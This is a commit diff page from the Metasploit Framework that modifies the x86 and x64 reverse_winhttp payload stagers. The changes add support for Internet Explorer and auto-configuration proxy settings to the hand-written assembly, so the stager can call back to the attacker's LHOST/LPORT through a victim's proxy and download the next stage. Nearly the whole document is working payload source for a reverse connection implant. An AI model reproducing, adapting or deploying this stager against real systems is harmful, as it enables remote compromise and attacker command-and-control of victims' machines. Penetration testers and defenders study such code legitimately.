Skip to content

Commit 87bc198

Browse files
committed
x64 winhttp ie proxy support, autoconfig ignore
1 parent 78176c4 commit 87bc198

File tree

2 files changed

+148
-16
lines changed

2 files changed

+148
-16
lines changed

lib/msf/core/payload/windows/reverse_winhttp.rb

Lines changed: 3 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,6 @@
11
# -*- coding: binary -*-
22

33
require 'msf/core'
4-
require 'msf/core/payload/transport_config'
5-
require 'msf/core/payload/windows/block_api'
6-
require 'msf/core/payload/windows/exitfunk'
74
require 'msf/core/payload/windows/reverse_http'
85

96
module Msf
@@ -16,11 +13,10 @@ module Msf
1613

1714
module Payload::Windows::ReverseWinHttp
1815

19-
include Msf::Payload::TransportConfig
2016
include Msf::Payload::Windows::ReverseHttp
2117

2218
#
23-
# Register reverse_http specific options
19+
# Register reverse_winhttp specific options
2420
#
2521
def initialize(*args)
2622
super
@@ -341,11 +337,8 @@ def asm_reverse_winhttp(opts={})
341337
test eax, eax ; skip the rest of the proxy stuff if the call failed
342338
jz ie_proxy_setup_finish
343339
344-
; check the "auto detect" flag to see if it's set, if it is, jump to the
345-
; end and let things carry on as they were
346-
mov eax, [edi]
347-
test eax, eax
348-
jnz ie_proxy_setup_finish
340+
; we don't care about the "auto detect" flag, as it doesn't seem to
341+
; impact us at all.
349342
350343
; if auto detect isn't on, check if there's an auto configuration URL
351344
mov eax, [edi+4]

lib/msf/core/payload/windows/x64/reverse_winhttp.rb

Lines changed: 145 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -16,6 +16,16 @@ module Payload::Windows::ReverseWinHttp_x64
1616

1717
include Msf::Payload::Windows::ReverseHttp_x64
1818

19+
#
20+
# Register reverse_winhttp specific options
21+
#
22+
def initialize(*args)
23+
super
24+
register_advanced_options([
25+
OptBool.new('PayloadProxyIE', [false, 'Enable use of IE proxy settings', true])
26+
], self.class)
27+
end
28+
1929
#
2030
# Generate the first stage
2131
#
@@ -24,13 +34,14 @@ def generate(opts={})
2434
ssl: opts[:ssl] || false,
2535
host: datastore['LHOST'],
2636
port: datastore['LPORT'],
27-
url: generate_small_uri,
28-
retry_count: datastore['StagerRetryCount']
37+
uri: generate_small_uri,
38+
retry_count: datastore['StagerRetryCount'],
39+
proxy_ie: datastore['PayloadProxyIE']
2940
}
3041

3142
# Add extra options if we have enough space
3243
unless self.available_space.nil? || required_space > self.available_space
33-
conf[:url] = generate_uri
44+
conf[:uri] = generate_uri
3445
conf[:exitfunk] = datastore['EXITFUNC']
3546
conf[:verify_cert_hash] = opts[:verify_cert_hash]
3647
conf[:proxy_host] = datastore['PayloadProxyHost']
@@ -102,7 +113,7 @@ def asm_generate_wchar_array(str)
102113
# Generate an assembly stub with the configured feature set and options.
103114
#
104115
# @option opts [Bool] :ssl Whether or not to enable SSL
105-
# @option opts [String] :url The URI to request during staging
116+
# @option opts [String] :uri The URI to request during staging
106117
# @option opts [String] :host The host to connect to
107118
# @option opts [Fixnum] :port The port to connect to
108119
# @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify, or nil
@@ -114,9 +125,22 @@ def asm_reverse_winhttp(opts={})
114125
retry_count = [opts[:retry_count].to_i, 1].max
115126
verify_ssl = nil
116127
encoded_cert_hash = nil
117-
encoded_url = asm_generate_wchar_array(opts[:url])
128+
encoded_uri = asm_generate_wchar_array(opts[:uri])
118129
encoded_host = asm_generate_wchar_array(opts[:host])
119130

131+
# this is used by the IE proxy functionality when an autoconfiguration URL
132+
# is specified. We need the full URL otherwise the call to resolve the proxy
133+
# for the URL doesn't work.
134+
full_url = 'http'
135+
full_url << 's' if opts[:ssl]
136+
full_url << '://' << opts[:host]
137+
full_url << ":#{opts[:port]}" if opts[:ssl] && opts[:port] != 443
138+
full_url << ":#{opts[:port]}" if !opts[:ssl] && opts[:port] != 80
139+
full_url << opts[:uri]
140+
141+
encoded_full_url = asm_generate_wchar_array(full_url)
142+
encoded_uri_index = full_url.rindex('/') * 2
143+
120144
if opts[:ssl] && opts[:verify_cert_hash]
121145
verify_ssl = true
122146
encoded_cert_hash = opts[:verify_cert_hash].unpack("C*").map{|c| "0x%.2x" % c }.join(",")
@@ -154,6 +178,14 @@ def asm_reverse_winhttp(opts={})
154178
http_open_flags |= 0x00800000 # WINHTTP_FLAG_SECURE
155179
end
156180

181+
ie_proxy_autodect = (
182+
0x00000001 | # WINHTTP_AUTO_DETECT_TYPE_DHCP
183+
0x00000002 ) # WINHTTP_AUTO_DETECT_TYPE_DNS_A
184+
185+
ie_proxy_flags = (
186+
0x00000001 | # WINHTTP_AUTOPROXY_AUTO_DETECT
187+
0x00000002 ) # WINHTTP_AUTOPROXY_CONFIG_URL
188+
157189
asm = %Q^
158190
xor rbx, rbx
159191
load_winhttp:
@@ -207,7 +239,15 @@ def asm_reverse_winhttp(opts={})
207239
push rbx ; dwFlags (0)
208240
mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpOpen')}; WinHttpOpen
209241
call rbp
242+
^
210243

244+
if opts[:proxy_ie] == true && !proxy_enabled
245+
asm << %Q^
246+
mov r12, rax ; Session handle is required later for ie proxy
247+
^
248+
end
249+
250+
asm << %Q^
211251
call load_server_host
212252
db #{encoded_host}
213253
load_server_host:
@@ -219,12 +259,34 @@ def asm_reverse_winhttp(opts={})
219259
call rbp
220260
221261
call winhttpopenrequest
222-
db #{encoded_url}
262+
^
263+
264+
if opts[:proxy_ie] == true && !proxy_enabled
265+
asm << %Q^
266+
db #{encoded_full_url}
267+
^
268+
else
269+
asm << %Q^
270+
db #{encoded_uri}
271+
^
272+
end
273+
274+
asm << %Q^
223275
winhttpopenrequest:
224276
mov rcx, rax ; hConnect
225277
push rbx
226278
pop rdx ; pwszVerb (NULL=GET)
227279
pop r8 ; pwszObjectName (URI)
280+
^
281+
282+
if opts[:proxy_ie] == true && !proxy_enabled
283+
asm << %Q^
284+
mov r13, r8 ; store a copy of the URL for later
285+
add r8, #{encoded_uri_index} ; move r8 up to where the URI stars
286+
^
287+
end
288+
289+
asm << %Q^
228290
xor r9, r9 ; pwszVersion (NULL)
229291
push rbx ; stack alignment
230292
mov rax, #{"0x%.8x" % http_open_flags} ; dwFlags
@@ -268,6 +330,83 @@ def asm_reverse_winhttp(opts={})
268330
^
269331
end
270332

333+
if opts[:proxy_ie] == true && !proxy_enabled
334+
asm << %Q^
335+
; allocate space for WINHTTP_CURRENT_USER_IE_PROXY_CONFIG, which is
336+
; a 32-byte structure
337+
sub rax, 32
338+
mov rdi, rsp ; save a pointer to this buffer
339+
mov rcx, rdi ; this buffer is also the parameter to the function
340+
mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpGetIEProxyConfigForCurrentUser')} ; WinHttpGetIEProxyConfigForCurrentUser
341+
call rbp
342+
343+
test eax, eax ; skip the rest of the proxy stuff if the call failed
344+
jz ie_proxy_setup_finish
345+
346+
; we don't care about the "auto detect" flag, as it doesn't seem to
347+
; impact us at all.
348+
349+
; check if there's an auto configuration URL
350+
mov rax, [rdi+8]
351+
test eax, eax
352+
jz ie_proxy_manual
353+
354+
; set up the autoproxy structure on the stack and get it ready to pass
355+
; into the target function
356+
mov rcx, rbx
357+
inc rcx
358+
shl rcx, 32
359+
push rcx ; dwReserved (0) and fAutoLoginIfChallenged
360+
push rbx ; lpvReserved (NULL)
361+
push rax ; lpszAutoConfigUrl
362+
mov rax, #{ie_proxy_flags | ie_proxy_autodect << 32} ; dwAutoDetectFlags and dwFlags
363+
push rax
364+
mov r8, rsp ; put the structure in the parameter list
365+
366+
; prepare the proxy info buffer, 32 bytes required
367+
sub rsp, 32
368+
mov rdi, rsp ; we'll need a pointer to this later
369+
mov r9, rdi ; pass it as the 4th parameter
370+
371+
; rest of the parameters
372+
mov rcx, r12 ; hSession
373+
mov rdx, r13 ; lpcwszUrl
374+
375+
; finally make the call
376+
mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpGetProxyForUrl')} ; WinHttpGetProxyForUrl
377+
call rbp
378+
379+
test eax, eax ; skip the rest of the proxy stuff if the call failed
380+
jz ie_proxy_setup_finish
381+
jmp set_ie_proxy ; rdi points to the filled out proxy structure
382+
383+
ie_proxy_manual:
384+
mov rax, [rdi+16] ; check for the manual proxy
385+
test eax, eax
386+
jz ie_proxy_setup_finish
387+
388+
add rdi, 8
389+
push 3
390+
pop rax
391+
mov [rdi], rax ; set dwAccessType (3=WINHTTP_ACCESS_TYPE_NAMED_PROXY)
392+
393+
; fallthrough to set the ie proxy
394+
395+
set_ie_proxy:
396+
; we assume that rdi is going to point to the proxy options
397+
mov r8, rdi ; lpBuffer (proxy options)
398+
push 24
399+
pop r9 ; dwBufferLength (size of proxy options)
400+
mov rcx, rsi ; hConnection (connection handle)
401+
push 38
402+
pop rdx ; (38=WINHTTP_OPTION_PROXY)
403+
mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSetOption')} ; WinHttpSetOption
404+
call rbp
405+
406+
ie_proxy_setup_finish:
407+
^
408+
end
409+
271410
if retry_count > 1
272411
asm << %Q^
273412
push #{retry_count}

0 commit comments

Comments
 (0)